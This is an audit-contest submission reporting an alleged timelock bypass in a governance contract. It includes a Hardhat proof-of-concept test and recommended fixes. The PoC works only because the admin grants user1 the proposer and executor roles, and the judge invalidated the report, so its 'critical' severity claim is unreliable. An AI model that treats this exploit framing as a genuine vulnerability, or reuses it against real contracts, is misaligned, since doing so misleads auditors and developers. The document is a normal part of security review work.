Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Unauthorized Proposal Execution: Timelock Bypass Allows Scheduling and Execution Without Governance Vote or Proposal Creation

Summary

A critical vulnerability has been identified in the governance and timelock contract interaction. The vulnerability allows malicious users to bypass the governance voting process and directly execute proposals by leveraging the scheduleBatch and executeBatch functions in the timelock contract. This bypass occurs because the timelock contract does not validate whether a proposal has been approved by the governance contract before execution. As a result, any user with the PROPOSER_ROLE and EXECUTOR_ROLE can schedule and execute arbitrary operations without requiring a vote. It is important to note that the proposal also do not need to be created.

Affected Code: TimelockController::scheduleBatch & executeBatch


Vulnerability Details

Root Cause

The vulnerability stems from the following issues:

  1. Lack of Governance Validation in Timelock Contract: The scheduleBatch and executeBatch functions in the timelock contract do not verify whether the proposal being executed has been approved by the governance contract. This allows malicious users to directly schedule and execute operations without going through the governance voting process.

  2. Role-Based Access Control (RBAC) Misconfiguration: The PROPOSER_ROLE and EXECUTOR_ROLE are not sufficiently restricted. Any user granted these roles can schedule and execute operations, even if the operations were not created through the governance contract.

Proof of Concept (PoC)

The provided PoC demonstrates how a malicious user can bypass the governance process:

  1. A legitimate proposal is created through the governance contract this is so that the attacker is given the PROPOSER_ROLE.

  2. The malicious user, granted the PROPOSER_ROLE, schedules an operation directly through the timelock contract using the scheduleBatch function.

  3. After the delay period, the EXECUTOR executes the operation using the executeBatch function.

  4. The operation is executed successfully, bypassing the governance voting process.

The PoC code is as follows:

describe("Timelock Bypass", () => {
let governance;
let timelock;
let veToken;
let testTarget;
let owner;
let user1;
let user2;
let users;
beforeEach(async () => {
[owner, user1, user2, ...users] = await ethers.getSigners();
// Deploy test target first
const TimelockTestTarget = await ethers.getContractFactory("TimelockTestTarget");
testTarget = await TimelockTestTarget.deploy();
await testTarget.waitForDeployment();
// Deploy mock veToken
const MockVeToken = await ethers.getContractFactory("MockVeToken");
veToken = await MockVeToken.deploy();
await veToken.waitForDeployment();
// Deploy timelock with minimal delay for testing
const TimelockController = await ethers.getContractFactory("TimelockController");
timelock = await TimelockController.deploy(
2 * DAY, // minDelay
[await owner.getAddress()], // proposers
[await owner.getAddress()], // executors
await owner.getAddress() // admin
);
await timelock.waitForDeployment();
// Deploy governance
const Governance = await ethers.getContractFactory("Governance");
governance = await Governance.deploy(
await veToken.getAddress(),
await timelock.getAddress()
);
await governance.waitForDeployment();
// Setup initial voting power
await veToken.mock_setTotalSupply(ethers.parseEther("10000000")); // 10M total supply
await veToken.mock_setInitialVotingPower(await user1.getAddress(), ethers.parseEther("6000000")); // 6M tokens
});
it.only("should allow direct timelock execution bypassing governance", async () => {
// First create a legitimate proposal through governance
const targets = [await testTarget.getAddress()];
const values = [0];
const calldatas = [testTarget.interface.encodeFunctionData("setValue", [42])];
const description = "Set value to 42";
// User creates proposal through governance
const tx = await governance.connect(user1).propose(
targets,
values,
calldatas,
description,
0
);
const receipt = await tx.wait();
const event = receipt.logs.find(
log => governance.interface.parseLog(log)?.name === 'ProposalCreated'
);
const proposalId = event.args.proposalId;
console.log("\nLegitimate proposal created with ID:", proposalId);
// Now bypass governance and call timelock directly
const salt = ethers.hexlify(ethers.randomBytes(32)); // Random salt
const predecessor = ethers.ZeroHash; // No predecessor
const delay = 2 * DAY; // Minimum delay
// Grant PROPOSER_ROLE to user1
const PROPOSER_ROLE = await timelock.PROPOSER_ROLE();
await timelock.grantRole(PROPOSER_ROLE, await user1.getAddress());
// Grant EXECUTOR_ROLE to user1
const EXECUTOR_ROLE = await timelock.EXECUTOR_ROLE();
await timelock.grantRole(EXECUTOR_ROLE, await user1.getAddress());
// Schedule operation directly through timelock
console.log("\nScheduling operation directly through timelock...");
const scheduleTx = await timelock.connect(user1).scheduleBatch(
targets,
values,
calldatas,
predecessor,
salt,
delay
);
const scheduleReceipt = await scheduleTx.wait();
// Get operation ID from event
const operationScheduledEvent = scheduleReceipt.logs.find(
log => timelock.interface.parseLog(log)?.name === 'OperationScheduled'
);
const operationId = operationScheduledEvent.args.id;
console.log("Operation scheduled with ID:", operationId);
// Advance time past delay
await time.increase(delay);
// Execute operation directly through timelock
console.log("\nExecuting operation directly through timelock...");
await timelock.connect(user1).executeBatch(
targets,
values,
calldatas,
predecessor,
salt
);
// Verify the change was made
const newValue = await testTarget.value();
expect(newValue).to.equal(42n);
console.log("Target contract value successfully changed to:", newValue);
// Verify the original proposal is still pending in governance
const proposalState = await governance.state(proposalId);
expect(proposalState).to.equal(ProposalState.Active);
console.log("\nOriginal governance proposal state:", Object.keys(ProposalState)[proposalState]);
});
});

Impact

The vulnerability has severe implications:

  1. Unauthorized Execution: Malicious users can execute arbitrary operations without governance approval, leading to potential loss of funds or unauthorized changes to the protocol.

  2. Governance Bypass: The governance process is rendered ineffective, as proposals can be executed without requiring votes from token holders.

  3. Loss of Trust: The vulnerability undermines the trustworthiness of the governance mechanism, potentially leading to reputational damage and loss of user confidence.


Tools Used

  • Manual Review

  • Hardhat


Recommendations

To fix the vulnerability, add the following checks to the scheduleBatch and executeBatch functions:

1. Check in scheduleBatch

Ensure the proposal is in the Succeeded state before queuing:

function scheduleBatch(
// ... existing parameters ...
uint256 proposalId // Add proposalId
) external override onlyRole(PROPOSER_ROLE) returns (bytes32) {
// ... existing checks ...
// Ensure proposal is in Succeeded state
ProposalState currentState = governance.state(proposalId);
if (currentState != ProposalState.Succeeded) {
revert InvalidProposalState(proposalId, currentState, ProposalState.Succeeded, "Proposal must be Succeeded");
}
// ... rest of the function ...
}

2. Check in executeBatch

Ensure the proposal is in the Queued state before execution:

function executeBatch(
// ... existing parameters ...
uint256 proposalId // Add proposalId
) external override payable nonReentrant onlyRole(EXECUTOR_ROLE) {
// ... existing checks ...
// Ensure proposal is in Queued state
ProposalState currentState = governance.state(proposalId);
if (currentState != ProposalState.Queued) {
revert InvalidProposalState(proposalId, currentState, ProposalState.Queued, "Proposal must be Queued");
}
// ... rest of the function ...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.